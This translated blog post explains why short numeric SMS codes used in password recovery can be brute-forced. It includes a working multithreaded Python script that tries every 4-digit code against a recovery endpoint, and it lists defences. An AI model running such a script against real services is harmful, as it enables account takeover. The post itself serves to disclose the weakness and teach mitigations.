Security Issues with SMS Verification Code Strength in Password Recovery
Demonstrating the severity of brute force attacks using Python
ℹ️ℹ️ℹ️ The following content is translated by OpenAI.
Click here to view the original Chinese version. | 點此查看本文中文版
Security Issues with SMS Verification Code Strength in Password Recovery
Demonstrating the severity of brute force attacks using Python
Photo by Matt Artz
Introduction
This article does not contain much technical content related to cybersecurity; it simply stems from a recent thought while using a certain platform’s website. I wanted to test its security and discovered some issues.
When using the password recovery feature on websites or apps, there are generally two options: one is to enter the account or email, after which a link containing a token to reset the password is sent to the email. Clicking the link opens the page to reset the password, which is usually not problematic unless there are design flaws as mentioned in a previous article.
The other method for password recovery is to enter the bound mobile phone number (mostly used in app services), after which an SMS verification code is sent to the phone. Once the code is entered, the password can be reset. However, for convenience, most services use purely numeric codes. Additionally, since iOS ≥ 11 introduced the Password AutoFill feature, when the phone receives the verification code, the keyboard automatically detects it and prompts the user.
According to the official documentation, Apple has not provided specific format rules for automatic code filling. However, I have observed that almost all services that support auto-fill use purely numeric codes, suggesting that only numbers are allowed and complex combinations of numbers and letters are not permitted.
Issues
Due to the potential for brute force attacks on numeric passwords, especially with 4-digit codes, there are only 10,000 combinations from 0000 to 9999. Using multiple threads and machines, one can perform a distributed brute force attack.
Assuming a response time of 0.1 seconds per verification request, for 10,000 combinations, the calculation is as follows:
1
Time required for cracking attempts: ((10,000 * 0.1) / number of threads) seconds
Even without using threads, it would only take a little over 16 minutes to try all possible SMS verification codes.
In addition to insufficient password length and complexity, there are two other issues: the lack of a limit on the number of attempts for the verification code and the excessively long validity period of the code.
Summary
In summary, this cybersecurity issue is commonly found on the app side; web services typically implement measures such as CAPTCHA after multiple failed attempts or require additional security questions when requesting a password reset, making it more difficult to send verification requests. Additionally, if the web service does not separate the front and back end, each verification request may require loading the entire webpage, increasing response times.
On the app side, due to process design and user convenience, the password reset process is often simplified. Some apps even allow login through mobile number verification. If there are no protections on the API side, this can lead to security vulnerabilities.
Implementation
⚠️ Warning ⚠️ This article is solely for demonstrating the severity of this security issue; please do not use this information for malicious purposes.
Sniffing Verification Request API
Everything starts with sniffing. For this part, you can refer to previous articles like “Apps use HTTPS for transmission, but data is still stolen.” and “Using Python + Google Cloud Platform + Line Bot to automate routine tasks”. I recommend using the Proxyman tool for sniffing.
If it is a front-end and back-end separated web service, you can also use Chrome -> Inspect -> Network to see what requests are sent after submitting the verification code.
Assuming the verification request received is:
1
POST https://zhgchg.li/findPWD
Response:
1
2
3
4
{
"status": false,
"msg": "Verification error"
}
Writing a Brute Force Python Script
crack.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import random
import requests
import json
import threading
phone = "0911111111"
found = False
def crack(start, end):
global found
for code in range(start, end):
if found:
break
stringCode = str(code).zfill(4)
data = {
"phone": phone,
"code": stringCode
}
headers = {}
try:
request = requests.post('https://zhgchg.li/findPWD', data=data, headers=headers)
result = json.loads(request.content)
if result["status"] == True:
print("Code is:" + stringCode)
found = True
break
else:
print("Code " + stringCode + " is wrong.")
except Exception as e:
print("Code " + stringCode + " exception error (" + str(e) + ")")
def main():
codeGroups = [
[0, 1000], [1000, 2000], [2000, 3000], [3000, 4000], [4000, 5000],
[5000, 6000], [6000, 7000], [7000, 8000], [8000, 9000], [9000, 10000]
]
for codeGroup in codeGroups:
t = threading.Thread(target=crack, args=(codeGroup[0], codeGroup[1],))
t.start()
main()
After running the script, we obtain:
1
Verification code equals: 1743
Using 1743
, we can reset the password or directly log into the account.
Bingo!
Solutions
- Increase the amount of information required for password resets (e.g., birthday, security questions)
- Increase the length of the verification code (e.g., Apple’s 6-digit codes) and enhance code complexity (if it does not affect AutoFill functionality)
- Make the verification code invalid after more than 3 incorrect attempts, requiring the user to request a new code
- Shorten the validity period of the verification code
- Lock the device after too many incorrect attempts and implement CAPTCHA
- Implement SSL Pinning and encryption for data transmission in apps (to prevent sniffing)
Further Reading
- Exposing a clever website vulnerability discovered a few years ago
- How to create an engaging engineering CTF competition
- Apps use HTTPS for transmission, but data is still stolen.
- Using Python + Google Cloud Platform + Line Bot to automate routine tasks
If you have any questions or feedback, feel free to contact me.
This article was first published on Medium ➡️ Click Here
Automatically converted and synchronized using ZMediumToMarkdown and Medium-to-jekyll-starter.